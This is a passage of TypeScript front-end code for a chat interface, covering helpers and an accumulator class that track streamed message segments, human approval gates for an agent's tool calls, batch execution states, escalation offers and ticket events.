Segment-projection kernel — shared scaffolding + single-rule predicates\n// =============================================================================\n\n/**\n * Map every assistant message's segments through `fn`, preserving the\n * REFERENTIAL-STABILITY CONTRACT in ONE place: `fn` returns the SAME\n * segment reference to signal \"unchanged\"; untouched messages (and the\n * whole array on a global no-op) keep their prior references. Every\n * segment projection below rides this scaffold instead of re-implementing\n * the changed-flag dance.\n */\nfunction mapSegments(prev: UnifiedChatMessage[], fn: (s: MessageSegment) => MessageSegment): UnifiedChatMessage[] {\n  let changed = false;\n  const next = prev.map(m => {\n    if (m.role !== 'assistant' || !m.segments) return m;\n    let msgChanged = false;\n    const segs = m.segments.map(s => {\n      const out = fn(s);\n      if (out !== s) msgChanged = true;\n      return out;\n    });\n    if (!msgChanged) return m;\n    changed = true;\n    return { ...m, segments: segs };\n  });\n  return changed ? next : prev;\n}\n\n/**\n * THE approval-resolution rule for a single segment — one predicate for\n * both containers (the message-array projections here AND the flat\n * segment list in `MessageSegmentAccumulator.updateApprovalStatus`), so\n * the two paths can never drift:\n *   - `approval_request` matched on `data.requestId` → status flip;\n *   - `approval_batch` anchor (`data.approvalRequestId`, the server's\n *     `batch:<first proposalId>` — never a row id) → status flip;\n *   - `approval_batch` ROW (`toolCalls[].toolExecutionRequestId`) →\n *     tick that row's execution (check on approved, cross otherwise)\n *     without touching the batch status.\n *   - `escalation_offer` matched on `data.offerId` → status flip +\n *     resolver stamp. Escalation offers are backed by the SAME\n *     `ToolApprovalRequest` collection as command approvals, so the two id\n *     spaces are one and a cross-match is impossible.\n * Returns the SAME reference when nothing matched or changed.\n */\nexport function applyApprovalStatusToSegment(\n  s: MessageSegment,\n  requestId: string,\n  status: ChatApprovalStatus,\n  resolvedByName?: string | null,\n): MessageSegment {\n  if (s.type === 'approval_request' && s.data.requestId === requestId && s.status !== status) {\n    return { ...s, status };\n  }\n  if (s.type === 'escalation_offer') {\n    if (s.data.offerId !== requestId) return s;\n    const nextResolvedBy = resolvedByName ?? s.resolvedByName;\n    // Status alone is not enough to early-out: the host overlay flips the\n    // status first and the persisted row supplies the resolver name after, so\n    // bailing on an unchanged status drops the \"by {name}\" stamp.\n    if (s.status === status && nextResolvedBy === s.resolvedByName) return s;\n    return { ...s, status, resolvedByName: nextResolvedBy };\n  }\n  if (s.type !== 'approval_batch') return s;\n  const isAnchor = s.data.approvalRequestId === requestId;\n  const hasRow = s.data.toolCalls?.some(c => c.toolExecutionRequestId === requestId);\n  if (!isAnchor && !hasRow) return s;\n  const nextResolvedBy = resolvedByName ?? s.resolvedByName;\n  const nextExecutions = hasRow\n    ? {\n        ...(s.data.executions ?? {}),\n        [requestId]: { status: 'done' as const, success: status === 'approved' },\n      }\n    : s.data.executions;\n  const nextStatus = isAnchor ? status : s.status;\n  if (s.status === nextStatus && nextResolvedBy === s.resolvedByName && nextExecutions === s.data.executions) {\n    return s;\n  }\n  return {\n    ...s,\n    status: nextStatus,\n    resolvedByName: nextResolvedBy,\n    data: {\n      ...s.data,\n      ...(nextExecutions ? { executions: nextExecutions } : {}),\n    },\n  };\n}\n\n/**\n * Next state for a batch row's execution slot from a tool-execution\n * chunk — folds the never-downgrade guard (redelivered EXECUTING after\n * EXECUTED landed) and the EXECUTED/EXECUTING ternary into ONE rule\n * shared by the message projection and the accumulator. Returns null\n * for the no-op case (caller keeps prior references).\n */\nexport function nextBatchExecution(\n  prevExec: ApprovalBatchExecutionState | undefined,\n  toolData: ToolExecutionData,\n): ApprovalBatchExecutionState | null {\n  if (toolData.type === 'EXECUTING_TOOL' && prevExec?.status === 'done') return null;\n  return toolData.type === 'EXECUTED_TOOL'\n    ? { status: 'done', result: toolData.result, success: toolData.success }\n    : { status: 'executing', result: prevExec?.result, success: prevExec?.success };\n}\n\n/** The executions-map triple-spread — one home for the write shape. */\nexport function withBatchExecution<S extends { data: { executions?: Record<string, ApprovalBatchExecutionState> } }>(\n  seg: S,\n  execId: string,\n  state: ApprovalBatchExecutionState,\n): S {\n  return {\n    ...seg,\n    data: { ...seg.data, executions: { ...(seg.data.executions ?? {}), [execId]: state } },\n  };\n}\n\n/**\n * Flip ONLY an approval_batch segment's status — no execution writes.\n * The click-time optimistic flip uses this instead of\n * `projectApprovalResolutionToMessages` as defense-in-depth: even if a\n * (misbehaving) server emitted a batchId colliding with a row's\n * proposal id, the flip could not pre-tick that row's execution to a\n * false success before its confirm actually ran.\n */\nexport function projectBatchStatusToMessages(\n  prev: UnifiedChatMessage[],\n  anchorId: string,\n  status: ChatApprovalStatus,\n): UnifiedChatMessage[] {\n  return mapSegments(prev, s => {\n    if (s.type !== 'approval_batch') return s;\n    if (s.data.approvalRequestId !== anchorId || s.status === status) return s;\n    return { ...s, status };\n  });\n}\n\n/**\n * Mark ONE batch row's confirm as FAILED (expired proposal, network\n * error): tick its execution icon to the failure cross so the row's\n * loader doesn't spin forever. Batch status is untouched — other rows\n * may still be resolving.\n */\nexport function projectBatchRowFailureToMessages(\n  prev: UnifiedChatMessage[],\n  rowRequestId: string,\n): UnifiedChatMessage[] {\n  return mapSegments(prev, s => {\n    if (s.type !== 'approval_batch' || !s.data.toolCalls?.some(c => c.toolExecutionRequestId === rowRequestId)) {\n      return s;\n    }\n    const existing = s.data.executions?.[rowRequestId];\n    if (existing?.status === 'done') return s;\n    return withBatchExecution(s, rowRequestId, { status: 'done', success: false });\n  });\n}\n\n/**\n * Upsert a standalone context-compaction segment into the trailing assistant\n * bubble. Compaction emissions arrive as the accumulator's CUMULATIVE array —\n * only the compaction segment itself may be applied, or interleaved\n * continuation text would duplicate. A `completed` segment replaces the last\n * `started` one in place.\n */\nexport function upsertTrailingCompaction(prev: UnifiedChatMessage[], segments: MessageSegment[]): UnifiedChatMessage[] {\n  const compaction = [...segments].reverse().find(s => s.type === 'context_compaction');\n  if (!compaction) return prev;\n  const last = prev[prev.length - 1];\n  if (!last || last.role !== 'assistant') {\n    return [...prev, { id: nextId('assistant'), role: 'assistant', content: '', segments: [compaction] }];\n  }\n  const existing = last.segments ?? [];\n  // LAST 'started' segment (not first): with repeated compactions in one\n  // bubble the earlier ones are already completed-in-place, so the newest\n  // 'started' is the only one this completion can belong to.\n  const startedIdx = existing.map(s => s.type === 'context_compaction' && s.status === 'started').lastIndexOf(true);\n  const merged =\n    startedIdx !== -1 ? existing.map((s, i) => (i === startedIdx ? compaction : s)) : [...existing, compaction];\n  return [...prev.slice(0, -1), { ...last, segments: merged }];\n}\n\n/** Scoped value-compare for the fields a tool merge writes (status/type,\n *  result, success, execId, restored title, parameters). Small objects —\n *  JSON compare for `parameters` keeps a replayed duplicate a no-op even\n *  when the transport rebuilt the object. */\nfunction sameToolData(a: ToolExecutionData, b: ToolExecutionData): boolean {\n  return (\n    a.type === b.type &&\n    a.integratedToolType === b.integratedToolType &&\n    a.toolFunction === b.toolFunction &&\n    a.toolTitle === b.toolTitle &&\n    a.result === b.result &&\n    a.success === b.success &&\n    a.toolExecutionRequestId === b.toolExecutionRequestId &&\n    (a.parameters === b.parameters || JSON.stringify(a.parameters ?? null) === JSON.stringify(b.parameters ?? null))\n  );\n}\n\nfunction sameExecutionState(a: ApprovalBatchExecutionState | undefined, b: ApprovalBatchExecutionState): boolean {\n  return !!a && a.status === b.status && a.result === b.result && a.success === b.success;\n}\n\n/**\n * Cross-message tool-execution updater for post-MESSAGE_END tool chunks\n * (approved commands executing after the approval bubble, async batch\n * results). Scans messages from the end:\n *  1) an `approval_batch` whose `toolCalls` contains the execution id →\n *     merge into its `executions` map;\n *  2) a matching `tool_execution` segment (same id, or EXECUTING with the\n *     same tool for legacy id-less backends) → update in place;\n *  3) no match → append the segment to the trailing assistant bubble.\n *\n * A value-level no-op (replayed duplicate) returns `prev` untouched.\n */\nexport function applyToolExecutionToMessages(\n  prev: UnifiedChatMessage[],\n  segment: ToolExecutionSegment,\n): UnifiedChatMessage[] {\n  const merged = mergeToolExecutionIfPresent(prev, segment);\n  if (merged !== null) return merged;\n  return appendToTrailingAssistant(prev, [segment]);\n}\n\n/**\n * Merge-only variant of `applyToolExecutionToMessages` — the pure projection\n * used for the cross-SIDE fan-out in `chat-dialog-store.ts`. Updates a\n * matching batch slot / tool segment when present; returns `null` when\n * nothing matches (the caller decides whether to append — projections never\n * do, so a tool that belongs to one side only never grows a card on the\n * other).\n */\nexport function mergeToolExecutionIfPresent(\n  prev: UnifiedChatMessage[],\n  segment: ToolExecutionSegment,\n): UnifiedChatMessage[] | null {\n  const toolData = segment.data;\n  const execId = toolData.toolExecutionRequestId;\n\n  for (let i = prev.length - 1; i >= 0; i--) {\n    const message = prev[i];\n    if (message.role !== 'assistant' || !message.segments) continue;\n\n    for (let j = message.segments.length - 1; j >= 0; j--) {\n      const seg = message.segments[j];\n\n      if (\n        execId &&\n        seg.type === 'approval_batch' &&\n        seg.data.toolCalls.some(c => c.toolExecutionRequestId === execId)\n      ) {\n        const prevExec: ApprovalBatchExecutionState | undefined = seg.data.executions?.[execId];\n        // Shared rule (`nextBatchExecution`): folds the never-downgrade\n        // guard (JetStream redelivery of EXECUTING after EXECUTED\n        // landed — null = matched-with-no-change, caller doesn't append\n        // either) and the EXECUTED/EXECUTING ternary.\n        const nextExec = nextBatchExecution(prevExec, toolData);\n        if (nextExec === null) return prev;\n        // Value-level no-op (replayed duplicate) → prior references.\n        if (sameExecutionState(prevExec, nextExec)) return prev;\n        const nextSegments = [...message.segments];\n        nextSegments[j] = withBatchExecution(seg, execId, nextExec);\n        const next = [...prev];\n        next[i] = { ...message, segments: nextSegments };\n        return next;\n      }\n\n      if (seg.type === 'tool_execution') {\n        // KNOWN LIMIT (id-less chunks only — current backends always send\n        // toolExecutionRequestId): the fuzzy fallback pairs only with a\n        // segment still EXECUTING, so a replayed id-less EXECUTING/EXECUTED\n        // arriving after the pair completed matches nothing and falls to the\n        // caller's append (duplicate card). Widening the predicate to\n        // EXECUTED twins would instead swallow a LEGITIMATE second run of the\n        // same tool — without ids the two are indistinguishable, and losing a\n        // real run is worse than a duplicate card on a legacy transport.\n        const matches = execId\n          ? seg.data.toolExecutionRequestId === execId\n          : seg.data.type === 'EXECUTING_TOOL' &&\n            seg.data.integratedToolType === toolData.integratedToolType &&\n            seg.data.toolFunction === toolData.toolFunction;\n        if (!matches) continue;\n        // Never downgrade a completed segment back to EXECUTING (replayed\n        // EXECUTING chunk after its EXECUTED already landed).\n        if (toolData.type === 'EXECUTING_TOOL' && seg.data.type === 'EXECUTED_TOOL') {\n          return prev;\n        }\n        const mergedData: ToolExecutionData = {\n          ...toolData,\n          toolTitle: toolData.toolTitle ?? seg.data.toolTitle,\n          parameters: toolData.parameters || seg.data.parameters,\n        };\n        // Value-level no-op (replayed duplicate) → prior references.\n        if (sameToolData(seg.data, mergedData)) return prev;\n        const nextSegments = [...message.segments];\n        nextSegments[j] = { type: 'tool_execution', data: mergedData };\n        const next = [...prev];\n        next[i] = { ...message, segments: nextSegments };\n        return next;\n      }\n    }\n  }\n\n  return null;\n}\n\n/**\n * Project an approval resolution onto the thread — the ONE rule lives in\n * `applyApprovalStatusToSegment` (shared with the accumulator's flat\n * segment list); this is just its message-array projection via\n * `mapSegments`.\n */\nexport function projectApprovalResolutionToMessages(\n  prev: UnifiedChatMessage[],\n  requestId: string,\n  status: ChatApprovalStatus,\n  resolvedByName?: string | null,\n): UnifiedChatMessage[] {\n  return mapSegments(prev, s => applyApprovalStatusToSegment(s, requestId, status, resolvedByName));\n}\n","/**\n * MessageSegmentAccumulator - Manages accumulation of message segments\n *\n * This class handles the logic for:\n * - Accumulating text segments (appending to existing text)\n * - Managing tool execution states (EXECUTING_TOOL -> EXECUTED_TOOL)\n * - Tracking pending approval requests\n * - Creating approval segments when results arrive\n */\n\nimport { applyApprovalStatusToSegment, nextBatchExecution, withBatchExecution } from '../stream/message-mutations';\nimport type {\n  AskOptionData,\n  MessageSegment,\n  ToolExecutionSegment,\n  ApprovalRequestField,\n  ApprovalRequestSegment,\n  ApprovalBatchSegment,\n  ApprovalBatchExecutionState,\n  ApprovalResolutionHandler,\n  EscalationOfferSegment,\n  TicketEscalatedData,\n  TicketEscalatedSegment,\n  TicketEventData,\n  TicketEventSegment,\n  ContextCompactionSegment,\n  PendingApproval,\n  PendingToolCallData,\n  AccumulatorState,\n  ChatApprovalStatus,\n  ExecutingToolState,\n} from '../types';\n\nexport interface AccumulatorCallbacks {\n  /** See `ApprovalResolutionHandler` (message.types) — the SSOT for the\n   *  approve/reject signature incl. the boolean failure flag. */\n  onApprove?: ApprovalResolutionHandler;\n  onReject?: ApprovalResolutionHandler;\n  /** Escalation offers resolve through the ticket-escalation mutations, NOT\n   *  the tool-approval endpoint, so they carry their own pair of handlers.\n   *  Sharing `onApprove`/`onReject` would POST an offer id to the approval\n   *  endpoint, which has no record of it. */\n  onEscalationApprove?: ApprovalResolutionHandler;\n  onEscalationReject?: ApprovalResolutionHandler;\n}\n\n/**\n * Accumulator for managing message segments during real-time streaming\n * or historical message processing\n */\nexport class MessageSegmentAccumulator {\n  private segments: MessageSegment[] = [];\n  private pendingApprovals: Map<string, PendingApproval> = new Map();\n  private executingTools: Map<string, ExecutingToolState> = new Map();\n  private callbacks: AccumulatorCallbacks = {};\n\n  constructor(callbacks?: AccumulatorCallbacks) {\n    if (callbacks) {\n      this.callbacks = callbacks;\n    }\n  }\n\n  /**\n   * Set callbacks for approval actions\n   */\n  setCallbacks(callbacks: AccumulatorCallbacks): void {\n    this.callbacks = callbacks;\n  }\n\n  /**\n   * Initialize accumulator with existing state from an incomplete historical message\n   * Used to continue building messages across page refreshes or reconnections\n   */\n  initializeWithState(state: {\n    existingSegments?: MessageSegment[];\n    pendingApprovals?: Map<string, PendingApproval>;\n    executingTools?: Map<string, ExecutingToolState>;\n  }): void {\n    if (state.existingSegments) {\n      this.segments = [...state.existingSegments];\n    }\n\n    if (state.pendingApprovals) {\n      this.pendingApprovals = new Map(state.pendingApprovals);\n    }\n\n    if (state.executingTools) {\n      this.executingTools = new Map(state.executingTools);\n    }\n  }\n\n  /**\n   * Get current segments\n   */\n  getSegments(): MessageSegment[] {\n    return [...this.segments];\n  }\n\n  /**\n   * Get the state of the accumulator for serialization\n   */\n  getState(): AccumulatorState {\n    return {\n      segments: [...this.segments],\n      pendingApprovals: new Map(this.pendingApprovals),\n      executingTools: new Map(this.executingTools),\n    };\n  }\n\n  /**\n   * Reset the accumulator to initial state\n   */\n  reset(): void {\n    this.segments = [];\n    this.pendingApprovals.clear();\n    this.executingTools.clear();\n  }\n\n  /**\n   * Reset only segments (keep pending state for continued processing)\n   */\n  resetSegments(): void {\n    this.segments = [];\n  }\n\n  /**\n   * Append text to the current message\n   * If the last segment is text, append to it; otherwise create a new text segment\n   */\n  appendText(text: string): MessageSegment[] {\n    const lastSegment = this.segments[this.segments.length - 1];\n\n    if (lastSegment && lastSegment.type === 'text') {\n      this.segments[this.segments.length - 1] = { type: 'text', text: lastSegment.text + text };\n    } else {\n      this.segments.push({ type: 'text', text });\n    }\n\n    return this.getSegments();\n  }\n\n  /**\n   * Append thinking text to the current message.\n   * If the last segment is thinking, append to it; otherwise start a new thinking segment.\n   */\n  appendThinking(text: string): MessageSegment[] {\n    const lastSegment = this.segments[this.segments.length - 1];\n\n    if (lastSegment && lastSegment.type === 'thinking') {\n      this.segments[this.segments.length - 1] = { type: 'thinking', text: lastSegment.text + text };\n    } else {\n      this.segments.push({ type: 'thinking', text });\n    }\n\n    return this.getSegments();\n  }\n\n  /**\n   * Add a clarification (ask) card. Unlike the three delta streams an ask\n   * arrives whole in one chunk, so it is always a NEW segment — never merged\n   * into a trailing one. Consecutive cards stay separate segments; the renderer\n   * is what pages through a run of them.\n   */\n  addAsk(question: string, options: AskOptionData[]): MessageSegment[] {\n    this.segments.push({ type: 'ask', question, options });\n    return this.getSegments();\n  }\n\n  /**\n   * Add a tool execution segment.\n   *\n   * Routing:\n   *  1) If `toolExecutionRequestId` matches a tool call inside an existing\n   *     `approval_batch` segment, merge the state into that batch's\n   *     `executions` map (no standalone segment is pushed).\n   *  2) Otherwise: pair EXECUTING ↔ EXECUTED by `toolExecutionRequestId`.\n   *     If no id is present (older backends), fall back to\n   *     `(integratedToolType, toolFunction)` so repeat calls of the same\n   *     function don't all bucket under one key.\n   */\n  addToolExecution(segment: ToolExecutionSegment): MessageSegment[] {\n    const toolData = segment.data;\n    const execId = toolData.toolExecutionRequestId;\n\n    if (execId && this.applyExecutionToBatch(execId, toolData)) {\n      return this.getSegments();\n    }\n\n    const toolKey = execId || `${toolData.integratedToolType}-${toolData.toolFunction}`;\n\n    // A tool only runs after its approval gate was granted. Resolve it here.\n    this.resolvePendingApprovalForExecution();\n\n    if (toolData.type === 'EXECUTING_TOOL') {\n      this.executingTools.set(toolKey, {\n        integratedToolType: toolData.integratedToolType,\n        toolFunction: toolData.toolFunction,\n        toolTitle: toolData.toolTitle,\n        toolExplanation: toolData.toolExplanation,\n        parameters: toolData.parameters,\n      });\n      this.segments.push(segment);\n    } else if (toolData.type === 'EXECUTED_TOOL') {\n      const existingIndex = this.segments.findIndex(\n        (s): s is ToolExecutionSegment =>\n          s.type === 'tool_execution' &&\n          s.data.type === 'EXECUTING_TOOL' &&\n          (execId\n            ? s.data.toolExecutionRequestId === execId\n            : s.data.integratedToolType === toolData.integratedToolType &&\n              s.data.toolFunction === toolData.toolFunction),\n      );\n\n      const executingTool = this.executingTools.get(toolKey);\n      // The backend omits `toolTitle` on EXECUTED_TOOL; restore it from the\n      // paired EXECUTING segment (or its tracked state) so the completed\n      // segment keeps the human-readable title instead of falling back to the\n      // raw `toolFunction`.\n      const existingExecuting =\n        existingIndex !== -1 ? (this.segments[existingIndex] as ToolExecutionSegment) : undefined;\n      const mergedSegment: ToolExecutionSegment = {\n        type: 'tool_execution',\n        data: {\n          ...toolData,\n          toolTitle: toolData.toolTitle ?? existingExecuting?.data.toolTitle ?? executingTool?.toolTitle,\n          toolExplanation:\n            toolData.toolExplanation ?? existingExecuting?.data.toolExplanation ?? executingTool?.toolExplanation,\n          parameters: toolData.parameters || executingTool?.parameters,\n        },\n      };\n\n      if (existingIndex !== -1) {\n        this.segments[existingIndex] = mergedSegment;\n      } else {\n        this.segments.push(mergedSegment);\n      }\n\n      this.executingTools.delete(toolKey);\n    }\n\n    return this.getSegments();\n  }\n\n  /**\n   * Try to merge a tool execution event into an existing approval_batch\n   * segment whose `toolCalls` contains the same `toolExecutionRequestId`.\n   * Returns true when a batch was updated, false when no batch matches.\n   */\n  private applyExecutionToBatch(execId: string, toolData: ToolExecutionSegment['data']): boolean {\n    let matched = false;\n    this.segments = this.segments.map(seg => {\n      if (matched) return seg;\n      if (seg.type !== 'approval_batch') return seg;\n      const hasCall = seg.data.toolCalls.some(c => c.toolExecutionRequestId === execId);\n      if (!hasCall) return seg;\n\n      const prev: ApprovalBatchExecutionState | undefined = seg.data.executions?.[execId];\n      // Shared rule (`nextBatchExecution` from message-mutations): the\n      // never-downgrade guard + EXECUTED/EXECUTING ternary — one\n      // implementation with the message-array projection.\n      const next = nextBatchExecution(prev, toolData);\n      matched = true;\n      if (next === null) return seg;\n      return withBatchExecution(seg, execId, next);\n    });\n    return matched;\n  }\n\n  /**\n   * A tool only ever runs after its approval gate was granted. The legacy /\n   * single `approval_request` segment carries no `toolExecutionRequestId` to\n   * correlate with the execution, and an observer (e.g. a technician\n   * mirroring the client chat) may never receive an `APPROVAL_RESULT` chunk —\n   * only the tool's `EXECUTING_TOOL` / `EXECUTED_TOOL` events. Treat the\n   * arrival of a tool execution as implicit approval of the most recent\n   * still-pending gate so the card does not stay stuck `pending` in realtime.\n   *\n   * The agent stays paused while an approval is outstanding, so there is at\n   * most one relevant gate; flipping only the latest pending one is safe and\n   * monotonic (never downgrades, can't make a correct state wrong — an\n   * unapproved tool cannot execute). `approval_batch` is handled separately by\n   * `applyExecutionToBatch` and is intentionally left untouched here.\n   */\n  private resolvePendingApprovalForExecution(): void {\n    for (let i = this.segments.length - 1; i >= 0; i--) {\n      const seg = this.segments[i];\n      if (seg.type === 'approval_request' && seg.status === 'pending') {\n        this.segments[i] = { ...seg, status: 'approved' };\n        return;\n      }\n    }\n  }\n\n  /**\n   * Track a pending approval request\n   */\n  trackApprovalRequest(requestId: string, data: PendingApproval): void {\n    this.pendingApprovals.set(requestId, data);\n  }\n\n  /**\n   * Add an approval request segment directly (for CLIENT approvals)\n   */\n  addApprovalRequest(\n    requestId: string,\n    command: string,\n    explanation: string | undefined,\n    approvalType: string,\n    status: ChatApprovalStatus = 'pending',\n    /** Structured label/value rows. The card prefers them over `explanation`\n     *  (see `ApprovalRequestData.fields`). Optional because the agent's own\n     *  approvals carry prose. */\n    fields?: ApprovalRequestField[],\n  ): MessageSegment[] {\n    this.segments.push(\n      this.buildApprovalRequestSegment(requestId, { command, explanation, approvalType, fields }, status),\n    );\n    return this.getSegments();\n  }\n\n  /**\n   * Build one approval-request segment — THE constructor for this segment type.\n   *\n   * Three paths produce these: `addApprovalRequest` (live stream and replay),\n   * `flushPendingApprovals` (tracked-but-unresolved after a history replay) and\n   * `processApprovalResult` (a result arriving for a tracked request). They used\n   * to hand-write the object each, which is how `fields` reached\n   * the card down one path and not the others — the same proposal rendering as a\n   * bare title, or losing the marker that routes its buttons to the hub.\n   */\n  private buildApprovalRequestSegment(\n    requestId: string,\n    approval: PendingApproval,\n    status: ChatApprovalStatus,\n  ): ApprovalRequestSegment {\n    return {\n      type: 'approval_request',\n      data: {\n        command: approval.command,\n        explanation: approval.explanation,\n        requestId,\n        approvalType: approval.approvalType,\n        ...(approval.fields && approval.fields.length > 0 ? { fields: approval.fields } : {}),\n      },\n      status,\n      onApprove: this.callbacks.onApprove,\n      onReject: this.callbacks.onReject,\n    };\n  }\n\n  /**\n   * Add a batch approval segment containing multiple tool calls. Upserts by\n   * `approvalRequestId`: when a batch with the same id is already in the\n   * accumulator, the existing segment is updated in place rather than a\n   * second segment being pushed. This matters for the consumer-store replay\n   * path, which feeds `[existing..., new...]` into `replaySegments` and would\n   * otherwise produce two batch segments for the same approval after a\n   * status flip or per-tool execution merge.\n   *\n   * `approvalType` is the highest-privilege type required across the batch.\n   * `executions` is forwarded as-is. On upsert, a new `executions` object\n   * overrides the existing one (so the latest replay wins).\n   */\n  addApprovalBatch(\n    approvalRequestId: string,\n    approvalType: string,\n    toolCalls: PendingToolCallData[],\n    status: ChatApprovalStatus = 'pending',\n    executions?: Record<string, ApprovalBatchExecutionState>,\n    resolvedByName?: string | null,\n  ): MessageSegment[] {\n    const existingIndex = this.segments.findIndex(\n      (s): s is ApprovalBatchSegment => s.type === 'approval_batch' && s.data.approvalRequestId === approvalRequestId,\n    );\n\n    if (existingIndex !== -1) {\n      const existing = this.segments[existingIndex] as ApprovalBatchSegment;\n      const mergedExecutions = executions ?? existing.data.executions;\n      this.segments[existingIndex] = {\n        ...existing,\n        data: {\n          approvalRequestId,\n          approvalType,\n          toolCalls,\n          ...(mergedExecutions ? { executions: mergedExecutions } : {}),\n        },\n        status,\n        resolvedByName: resolvedByName ?? existing.resolvedByName,\n        onApprove: this.callbacks.onApprove,\n        onReject: this.callbacks.onReject,\n      };\n      return this.getSegments();\n    }\n\n    const segment: ApprovalBatchSegment = {\n      type: 'approval_batch',\n      data: {\n        approvalRequestId,\n        approvalType,\n        toolCalls,\n        ...(executions ? { executions } : {}),\n      },\n      status,\n      resolvedByName,\n      onApprove: this.callbacks.onApprove,\n      onReject: this.callbacks.onReject,\n    };\n\n    this.segments.push(segment);\n    return this.getSegments();\n  }\n\n  /**\n   * Process an approval result and create a segment\n   * Returns the pending approval data if found\n   */\n  processApprovalResult(\n    requestId: string,\n    approved: boolean,\n    approvalType: string,\n  ): { segment: ApprovalRequestSegment; pendingData: PendingApproval | null } | null {\n    const pendingApproval = this.pendingApprovals.get(requestId);\n    const status: ChatApprovalStatus = approved ? 'approved' : 'rejected';\n\n    const segment = this.buildApprovalRequestSegment(\n      requestId,\n      {\n        ...pendingApproval,\n        command: pendingApproval?.command || '',\n        approvalType: pendingApproval?.approvalType || approvalType,\n      },\n      status,\n    );\n\n    this.segments.push(segment);\n\n    if (pendingApproval) {\n      this.pendingApprovals.delete(requestId);\n    }\n\n    return { segment, pendingData: pendingApproval || null };\n  }\n\n  /**\n   * Add a ticket-escalation offer block. Upserts by `offerId` for the same\n   * reason `addApprovalBatch` does: the consumer-store replay path feeds\n   * `[existing..., new...]` back through `replaySegments`, which would\n   * otherwise yield two cards for one offer.\n   */\n  addEscalationOffer(\n    offerId: string,\n    text: string,\n    origin: string | undefined,\n    status: ChatApprovalStatus = 'pending',\n    resolvedByName?: string | null,\n  ): MessageSegment[] {\n    const existingIndex = this.segments.findIndex(\n      (s): s is EscalationOfferSegment => s.type === 'escalation_offer' && s.data.offerId === offerId,\n    );\n    const existing = existingIndex !== -1 ? (this.segments[existingIndex] as EscalationOfferSegment) : undefined;\n\n    const segment: EscalationOfferSegment = {\n      type: 'escalation_offer',\n      // The resolved chunk carries no text/origin — a redelivered offer must\n      // not blank the card the PENDING chunk already painted.\n      data: { offerId, text: text || existing?.data.text || '', origin: origin ?? existing?.data.origin },\n      status,\n      resolvedByName: resolvedByName ?? existing?.resolvedByName,\n      onApprove: this.callbacks.onEscalationApprove,\n      onReject: this.callbacks.onEscalationReject,\n    };\n\n    if (existingIndex !== -1) {\n      this.segments[existingIndex] = segment;\n      return this.getSegments();\n    }\n\n    this.segments.push(segment);\n    return this.getSegments();\n  }\n\n  /**\n   * Add the handoff receipt. Upserts by `ticketId` so a redelivered block\n   * (JetStream catch-up over hydrated history) can't stack a second notice.\n   */\n  addTicketEscalated(data: TicketEscalatedData): MessageSegment[] {\n    const segment: TicketEscalatedSegment = { type: 'ticket_escalated', data };\n    const existingIndex = this.segments.findIndex(\n      s => s.type === 'ticket_escalated' && s.data.ticketId === data.ticketId,\n    );\n    if (existingIndex !== -1) {\n      this.segments[existingIndex] = segment;\n      return this.getSegments();\n    }\n    this.segments.push(segment);\n    return this.getSegments();\n  }\n\n  /**\n   * Add a ticket lifecycle receipt (resolved / reopened / unknown kind).\n   *\n   * Upsert identity is the chunk's stream sequence when BOTH sides know it.\n   * The payload fallback exists for one overlap only: history hydration is\n   * seq-less (the persisted row's seq lives on the message, not the\n   * `messageData`), so a JetStream catch-up redelivery of the same event must\n   * still match its hydrated twin. That twin is necessarily the LATEST ticket\n   * event, so the fallback may consider only that one — scanning older\n   * segments swallowed a genuinely REPEATED event: resolve → reopen → resolve\n   * by the same actor is payload-identical to the first resolve, and matching\n   * the old card meant the final one never rendered.\n   */\n  addTicketEvent(data: TicketEventData, streamSeq?: number, occurredAt?: Date): MessageSegment[] {\n    const segment: TicketEventSegment = {\n      type: 'ticket_event',\n      data,\n      ...(streamSeq !== undefined ? { streamSeq } : {}),\n      ...(occurredAt !== undefined ? { occurredAt } : {}),\n    };\n    let existingIndex =\n      streamSeq !== undefined\n        ? this.segments.findIndex(s => s.type === 'ticket_event' && s.streamSeq === streamSeq)\n        : -1;\n    if (existingIndex === -1) {\n      for (let i = this.segments.length - 1; i >= 0; i--) {\n        const s = this.segments[i];\n        if (s.type !== 'ticket_event') continue;\n        // Both seqs known and unequal: proven distinct, never payload-match.\n        const seqsDistinguish = s.streamSeq !== undefined && streamSeq !== undefined;\n        if (\n          !seqsDistinguish &&\n          s.data.kind === data.kind &&\n          s.data.actorId === data.actorId &&\n          s.data.actorName === data.actorName &&\n          s.data.actorType === data.actorType &&\n          s.data.reason === data.reason &&\n          s.data.targetStatusKind === data.targetStatusKind\n        ) {\n          existingIndex = i;\n        }\n        break;\n      }\n    }\n    if (existingIndex !== -1) {\n      // The FIRST-known time wins: the hydrated twin carries the row's real\n      // `createdAt`, while a catch-up redelivery only knows its (late) arrival\n      // time — replacing wholesale would regress the card to arrival or, with\n      // neither side stamped, to the bubble timestamp.\n      const existing = this.segments[existingIndex] as TicketEventSegment;\n      const firstKnownOccurredAt = existing.occurredAt ?? segment.occurredAt;\n      this.segments[existingIndex] =\n        firstKnownOccurredAt !== undefined ? { ...segment, occurredAt: firstKnownOccurredAt } : segment;\n      return this.getSegments();\n    }\n    this.segments.push(segment);\n    return this.getSegments();\n  }\n\n  /**\n   * Update status of an existing approval segment (single, batch, or\n   * escalation offer).\n   * `resolvedByName` (when provided) is stamped onto the matching batch segment so the\n   * resolved card shows \"by {name}\"; omit it to leave any existing value untouched.\n   */\n  updateApprovalStatus(\n    requestId: string,\n    status: ChatApprovalStatus,\n    resolvedByName?: string | null,\n  ): MessageSegment[] {\n    // ONE rule, two containers: `applyApprovalStatusToSegment` is the\n    // same predicate the message-array projection uses\n    // (`projectApprovalResolutionToMessages`) — anchor status flip AND\n    // batch-row execution tick, so this flat-list path can never drift\n    // from the projection again (it previously missed the row case).\n    this.segments = this.segments.map(segment =>\n      applyApprovalStatusToSegment(segment, requestId, status, resolvedByName),\n    );\n    return this.getSegments();\n  }\n\n  /**\n   * Get pending approvals that haven't been resolved\n   */\n  getPendingApprovals(): Map<string, PendingApproval> {\n    return new Map(this.pendingApprovals);\n  }\n\n  /**\n   * Check if there are any pending approvals\n   */\n  hasPendingApprovals(): boolean {\n    return this.pendingApprovals.size > 0;\n  }\n\n  /**\n   * Create segments for all remaining pending approvals\n   */\n  flushPendingApprovals(): ApprovalRequestSegment[] {\n    const segments: ApprovalRequestSegment[] = [];\n\n    this.pendingApprovals.forEach((approval, requestId) => {\n      segments.push(this.buildApprovalRequestSegment(requestId, approval, 'pending'));\n    });\n\n    return segments;\n  }\n\n  /**\n   * Add a context compaction segment with 'started' status\n   */\n  addContextCompaction(): MessageSegment[] {\n    this.segments.push({ type: 'context_compaction', status: 'started' });\n    return this.getSegments();\n  }\n\n  /**\n   * 